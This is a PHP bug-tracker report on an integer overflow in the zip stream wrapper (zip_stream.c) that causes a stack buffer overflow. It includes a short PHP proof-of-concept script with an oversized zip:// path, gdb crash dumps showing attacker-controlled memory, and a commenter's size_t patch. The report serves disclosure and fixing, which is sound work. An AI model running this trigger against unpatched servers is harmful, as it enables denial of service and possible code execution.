|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-06-30 06:55 UTC] loianhtuan at gmail dot com
Description:
------------
When open a zip stream, php_stream_zip_opener failed to check the path_len that is vulnerable to integer overflow, later it is used to calculate the length of memcpy, leads to buffer overflow and memory corruption.
<snippet ext/zip/zip_stream.c:289>
fragment_len = strlen(fragment);
if (fragment_len < 1) {
return NULL;
}
path_len = strlen(path); //path_len can be negative
if (path_len >= MAXPATHLEN || mode[0] != 'r') {
return NULL;
}
memcpy(file_dirname, path, path_len - fragment_len); //(path_len - fragment_len) can be controlled
</snippet>
If php is compiled without stack cookie or attacker somehow leaked the stackcookie value then arbitrary code execution is possible.
Test script:
---------------
<?php
ini_set('memory_limit',-1);
$fragment_len = 0x7fffffff-1; //minus '#'
$overflow_len = 0x1050;
$fp = fopen('zip://'.str_repeat('B',$overflow_len).'#'.str_repeat('A',$fragment_len),'r');
?>
Expected result:
----------------
no crash
Actual result:
--------------
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x4242424242424243 ('CBBBBBBB')
RBX: 0x1
RCX: 0x11c7260 --> 0x0
RDX: 0x2000 ('')
RSI: 0x2000 ('')
RDI: 0x4242424242424243 ('CBBBBBBB')
RBP: 0x7fffffff99b0 --> 0x7fffffff99f0 --> 0x7fffffff9a40 --> 0x7fffffff9a70 --> 0x7fffffff9ab0 --> 0x7fffffffab60 ('B' <repeats 16 times>, "\001")
RSP: 0x7fffffff99b0 --> 0x7fffffff99f0 --> 0x7fffffff9a40 --> 0x7fffffff9a70 --> 0x7fffffff9ab0 --> 0x7fffffffab60 ('B' <repeats 16 times>, "\001")
RIP: 0x7a074d (<_hash_string+81>: movzx eax,BYTE PTR [rax])
R8 : 0x11c72e0 --> 0x0
R9 : 0x79 ('y')
R10: 0x7fffffff9740 --> 0x0
R11: 0x7ffff6df3101 (<__GI___libc_realloc+769>: xor eax,0xfe92a)
R12: 0x424250 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe6c0 --> 0x2
R14: 0x7ffff6814030 --> 0x7ffff68802c0 --> 0x899d67 (<ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER>: push rbp)
R15: 0x7ffff68802c0 --> 0x899d67 (<ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER>: push rbp)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7a0740 <_hash_string+68>: mov WORD PTR [rbp-0x2],ax
0x7a0744 <_hash_string+72>: add QWORD PTR [rbp-0x18],0x1
0x7a0749 <_hash_string+77>: mov rax,QWORD PTR [rbp-0x18]
=> 0x7a074d <_hash_string+81>: movzx eax,BYTE PTR [rax]
0x7a0750 <_hash_string+84>: test al,al
0x7a0752 <_hash_string+86>: jne 0x7a0720 <_hash_string+36>
0x7a0754 <_hash_string+88>: movzx eax,WORD PTR [rbp-0x2]
0x7a0758 <_hash_string+92>: pop rbp
[------------------------------------stack-------------------------------------]
0000| 0x7fffffff99b0 --> 0x7fffffff99f0 --> 0x7fffffff9a40 --> 0x7fffffff9a70 --> 0x7fffffff9ab0 --> 0x7fffffffab60 ('B' <repeats 16 times>, "\001")
0008| 0x7fffffff99b8 --> 0x7a0aac (<_zip_hash_lookup+95>: mov WORD PTR [rbp-0xa],ax)
0016| 0x7fffffff99c0 --> 0x11c7260 --> 0x0
0024| 0x7fffffff99c8 --> 0x11c7250 --> 0x11c57a0 --> 0x0
0032| 0x7fffffff99d0 ("CBBBBBBB")
0040| 0x7fffffff99d8 --> 0x1117b00 --> 0x7ffff7122000 (MemError)
0048| 0x7fffffff99e0 --> 0x0
0056| 0x7fffffff99e8 --> 0x7fffffff9a90 ("CBBBBBBBPr\034\001")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000007a074d in _hash_string (
name=0x4242424242424243 <error: Cannot access memory at address 0x4242424242424243>, size=0x2000)
at /root/php-src/ext/zip/lib/zip_hash.c:113
113 while (*name != 0) {
gdb-peda$ q
==============================================================================
<<<< backtrace before memory corruption, break before memcpy >>>>
299 memcpy(file_dirname, path, path_len - fragment_len);
gdb-peda$ list
294 path_len = strlen(path);
295 if (path_len >= MAXPATHLEN || mode[0] != 'r') {
296 return NULL;
297 }
298
299 memcpy(file_dirname, path, path_len - fragment_len);
300 file_dirname[path_len - fragment_len] = '\0';
301
302 file_basename = php_basename(path, path_len - fragment_len, NULL, 0);
303 fragment++;
gdb-peda$ bt
#0 php_stream_zip_opener (wrapper=0x108e550 <php_stream_zip_wrapper>,
path=0x7ffef620001e 'B' <repeats 200 times>..., mode=0x7ffff6858bd8 "r", options=0x0,
opened_path=0x0, context=0x7ffff6858c40, __php_stream_call_depth=0x1,
__zend_filename=0xd58a00 "/root/php-src/main/streams/streams.c", __zend_lineno=0x80e,
__zend_orig_filename=0xd3a5b0 "/root/php-src/ext/standard/file.c", __zend_orig_lineno=0x366)
at /root/php-src/ext/zip/zip_stream.c:299
#1 0x00000000007cc57f in _php_stream_open_wrapper_ex (
path=0x7ffef6200018 "zip://", 'B' <repeats 194 times>..., mode=0x7ffff6858bd8 "r", options=0x8,
opened_path=0x0, context=0x7ffff6858c40, __php_stream_call_depth=0x0,
__zend_filename=0xd3a5b0 "/root/php-src/ext/standard/file.c", __zend_lineno=0x366,
__zend_orig_filename=0x0, __zend_orig_lineno=0x0) at /root/php-src/main/streams/streams.c:2060
#2 0x000000000070f0d9 in php_if_fopen (execute_data=0x7ffff6814180, return_value=0x7ffff6814160)
at /root/php-src/ext/standard/file.c:870
#3 0x00000000006564b9 in phar_fopen (execute_data=0x7ffff6814180, return_value=0x7ffff6814160)
at /root/php-src/ext/phar/func_interceptors.c:427
#4 0x0000000000899df0 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER ()
at /root/php-src/Zend/zend_vm_execute.h:679
#5 0x00000000008994fd in execute_ex (ex=0x7ffff6814030) at /root/php-src/Zend/zend_vm_execute.h:429
#6 0x000000000089960f in zend_execute (op_array=0x7ffff687f000, return_value=0x0)
at /root/php-src/Zend/zend_vm_execute.h:474
#7 0x000000000083b72f in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3)
at /root/php-src/Zend/zend.c:1441
#8 0x00000000007ac454 in php_execute_script (primary_file=0x7fffffffe310)
at /root/php-src/main/main.c:2532
#9 0x00000000009158b6 in do_cli (argc=0x2, argv=0x10bc9f0) at /root/php-src/sapi/cli/php_cli.c:990
#10 0x0000000000916875 in main (argc=0x2, argv=0x10bc9f0) at /root/php-src/sapi/cli/php_cli.c:1378
#11 0x00007ffff6d91f45 in __libc_start_main (main=0x9161e1 <main>, argc=0x2, argv=0x7fffffffe6c8,
init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe6b8)
at libc-start.c:287
#12 0x0000000000424279 in _start ()
gdb-peda$
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Oct 26 05:00:01 2025 UTC |
Not sure if the proposed patch file is uploaded, so I'm pasting here: diff --git a/ext/zip/zip_stream.c b/ext/zip/zip_stream.c index 3d5b002..dea0152 100644 --- a/ext/zip/zip_stream.c +++ b/ext/zip/zip_stream.c @@ -123,11 +123,11 @@ static int php_zip_ops_stat(php_stream *stream, php_stream_statbuf *ssb) /* {{{ { struct zip_stat sb; const char *path = stream->orig_path; - int path_len = strlen(stream->orig_path); + size_t path_len = strlen(stream->orig_path); char file_dirname[MAXPATHLEN]; struct zip *za; char *fragment; - int fragment_len; + size_t fragment_len; int err; zend_string *file_basename; @@ -263,7 +263,7 @@ php_stream *php_stream_zip_opener(php_stream_wrapper *wrapper, zend_string **opened_path, php_stream_context *context STREAMS_DC) { - int path_len; + size_t path_len; zend_string *file_basename; char file_dirname[MAXPATHLEN]; @@ -271,7 +271,7 @@ php_stream *php_stream_zip_opener(php_stream_wrapper *wrapper, struct zip *za; struct zip_file *zf = NULL; char *fragment; - int fragment_len; + size_t fragment_len; int err; php_stream *stream = NULL;